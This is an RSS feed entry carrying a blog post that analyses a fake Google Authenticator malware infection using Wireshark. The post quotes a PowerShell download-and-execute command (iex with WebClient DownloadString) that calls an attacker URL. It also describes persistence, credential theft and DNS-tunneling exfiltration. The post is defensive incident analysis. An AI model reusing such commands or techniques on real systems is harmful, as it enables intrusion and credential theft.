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        <title><![CDATA[Stories by  Oyewole erinfolami nsikan on Medium]]></title>
        <description><![CDATA[Stories by  Oyewole erinfolami nsikan on Medium]]></description>
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            <title>Stories by  Oyewole erinfolami nsikan on Medium</title>
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            <title><![CDATA[Investigating a Fake Google Authenticator Malware Attack Using Wireshark]]></title>
            <link>https://medium.com/@eliteoye/investigating-a-fake-google-authenticator-malware-attack-using-wireshark-c0d6c24e273b?source=rss-e19753a4aeac------2</link>
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            <dc:creator><![CDATA[ Oyewole erinfolami nsikan]]></dc:creator>
            <pubDate>Sat, 22 Feb 2025 10:26:09 GMT</pubDate>
            <atom:updated>2025-02-27T20:35:16.649Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VZU7dLIcUYDx9bmx.jpg" /></figure><p>Over the past month, multiple threat intelligence reports have highlighted an increase in <strong>multi-stage malware attacks leveraging fake authentication pages</strong> to distribute malicious payloads. These attacks often use <strong>LNK files and PowerShell scripts</strong> to establish persistence, steal credentials, and communicate with remote command-and-control (C2) servers.</p><p>In one such case, I identified an unusual <strong>DNS query pattern</strong> from an internal host during a routine network analysis. Further investigation revealed that an employee had unknowingly accessed a <strong>fake Google Authenticator page</strong>, initiating an infection chain that led to credential theft and unauthorized remote access.</p><p>This article details how I used <strong>Wireshark</strong> to analyze the infection, uncover the attacker’s techniques, and mitigate the threat before further damage could occur.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jRG0-tFqCuC3KE6lQ2QLxg.jpeg" /></figure><h3>Uncovering the Attack</h3><h4>Initial Access Vector</h4><p>The attack began when an employee unknowingly accessed a fake Google Authenticator page. This malicious webpage prompted the user to download what appeared to be a security update. Instead, the downloaded files included an LNK file that executed a VBScript, along with another script that further advanced the attack. The VBScript ran an obfuscated PowerShell command, connecting to an external server and downloading a secondary payload.</p><p>Execution of Malicious Code</p><p>The embedded VBScript executed the following command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*DR-QzFcbMZQX2QPzU0hyLA.png" /></figure><p><strong>How This Works:</strong></p><ul><li><strong>On Error Resume Next</strong> → Suppresses errors, allowing execution to continue without interruption.</li><li><strong>Set objShell = CreateObject(“Wscript.Shell”)</strong> → Creates a Windows Shell object to execute system commands.</li><li><strong>cmd /c start /min</strong> → Runs the command prompt in minimized mode to avoid detection.</li><li><strong>powershell -NoProfile -WindowStyle Hidden -Command</strong> → Executes PowerShell without loading profiles, keeping the window hidden.</li><li><strong>start-process ‘</strong><a href="https://lnkd.in/eP7_mNNk"><strong>https://lnkd.in/eP7_mNNk</strong></a><strong>&#39;</strong> → Opens a legitimate Microsoft Azure page as a decoy.</li><li><strong>iex (new-object System.Net.WebClient).’DownloadString’(‘</strong><a href="https://lnkd.in/ep6_59Yv"><strong>https://lnkd.in/ep6_59Yv</strong></a><strong>&#39;)</strong> → Downloads and executes a remote PowerShell script from the attacker’s server.</li></ul><h3>Analysis of Second Script:</h3><p>Analysis of Second Script The second script, written in PowerShell, was designed to download files, create a startup shortcut, and establish persistence. Here’s a breakdown of its key functions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*hbvsX1eh3zyN6fazbAZ-ig.png" /></figure><p>This script serves multiple purposes in the attack:</p><ol><li><strong>Downloading Malicious Files</strong>: The Download-Files function fetches malicious payloads from an attacker-controlled server and saves them in C:\ProgramData\huo.</li></ol><p><strong>2. Establishing Persistence</strong>: The Create-Shortcut and Invoke-Startup functions create a shortcut in the Windows Startup folder, ensuring execution upon system reboot.</p><p><strong>3. Exfiltrating Execution Logs</strong>: The Send-Log function sends status updates to the attacker&#39;s server, potentially tracking successful infections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ngZ-lVaaVjX1YYya60XUDw.png" /></figure><p><strong>4. Code Obfuscation &amp; Execution</strong>: The inclusion of pas.ps1 suggests that an additional PowerShell script may be executed, potentially containing further payloads or evasion techniques.</p><h3><strong>Key Indicators of Compromise (IoCs):</strong></h3><ul><li><strong>Unfamiliar Folder Creation:</strong> The malware quietly created a folder named <strong>C:\ProgramData\huo</strong>, a directory rarely used by legitimate applications.</li><li><strong>TeamViewer in Odd Places:</strong> <strong>TeamViewer.exe</strong> and its DLL files were found in unexpected locations, hinting at unauthorized usage.</li><li><strong>Startup Manipulation:</strong> The malware added shortcuts to the startup folder, making sure it launched automatically every time the system rebooted.</li><li><strong>Outbound Connections:</strong> The malware reached out to suspicious domains, downloading more files and secretly sending out stolen data.</li></ul><p>These signs are key clues to spotting infections during malware investigations</p><h3><strong>Attacker’s Objectives and Techniques</strong></h3><p>Once the PowerShell script ran, the attacker’s primary goals became clear:</p><ul><li><strong>Credential Theft:</strong> The script was designed to extract saved passwords from browsers and authentication tokens, then quietly send them to the attacker’s server.</li><li><strong>Persistence:</strong> To maintain access, the malware created scheduled tasks and altered registry keys, ensuring it would automatically launch each time the system restarted.</li><li><strong>Command-and-Control (C2) Communication:</strong> The malware established a connection with a remote server, allowing the attacker to send commands and download more malicious files.</li><li><strong>Lateral Movement:</strong> The malware scanned the internal network, looking for other vulnerable machines to compromise and spread further.</li></ul><p>These techniques highlight how sophisticated and stealthy the attack was, making it harder for victims to detect.</p><h3><strong>Command-and-Control (C2) Communication</strong></h3><p>The attack attempted to establish communication with its Command-and-Control (C2) infrastructure using multiple techniques. One method involved making repeated outbound requests to an unknown domain, leveraging DNS tunneling to discreetly send and receive commands. Another approach was the use of TLS connections with self-signed certificates. In many cases, multiple requests to a self-signed TLS server can indicate C2 activity, as legitimate services typically use certificates from trusted authorities. By analyzing network traffic in Wireshark, the presence of frequent TLS connections to a self-signed certificate helped reveal a potential C2 server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ikiQm2ojRAQhUDRUYwO9QA.png" /><figcaption>tls handshake</figcaption></figure><p>The C2 server’s response delivered more PowerShell commands, allowing the malware to:</p><ul><li><strong>Steal Credentials:</strong> Sensitive login information was extracted from the infected system.</li><li><strong>Execute Remote Commands:</strong> The attacker could run commands remotely to widen the attack.</li><li><strong>Ensure Persistence:</strong> The malware altered registry keys and set up scheduled tasks to survive reboots.</li><li><strong>Download More Malware:</strong> Additional payloads were fetched to escalate privileges or potentially launch ransomware attacks.</li></ul><h3>Malware Behavior and Data Exfiltration</h3><p>The malware harvested browser-stored passwords, system settings, and network credentials from the infected system. To avoid detection, the stolen data was sent through encoded DNS queries.</p><p>It also used <strong>process injection</strong> by embedding itself into legitimate Windows processes like <strong>svchost.exe</strong>. This tactic helped the malware blend into normal system activity, making it harder to spot during forensic analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*8JO8M0jnLE3TDXkbu3iwtg.jpeg" /></figure><h3>Quick Incident Analysis</h3><p>With Wireshark filters, I narrowed down the infected host’s IP and examined its network activity. By cross-referencing the suspicious domain on <strong>VirusTotal</strong>, I confirmed its link to known malware campaigns. Extracting and decoding the payload gave a clearer picture of the attacker’s goals and techniques.</p><h3>Key Takeaways</h3><ul><li><strong>Cybercriminals are getting smarter with social engineering</strong> — Fake login pages are becoming harder to spot.</li><li><strong>PowerShell is a favorite tool for attackers</strong> — They hide malicious scripts in ways that security tools often miss.</li><li><strong>DNS tunneling can easily fly under the radar</strong> — Tracking odd DNS traffic could reveal hidden data theft.</li><li><strong>Acting fast makes a huge difference</strong> — The earlier you catch suspicious activity, the less damage it can cause.</li><li><strong>Security awareness goes a long way</strong> — Teaching people to question unusual downloads can stop attacks before they happen.</li></ul><p>Understanding how these attacks work allows us to better defend against them.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c0d6c24e273b" width="1" height="1" alt="">]]></content:encoded>
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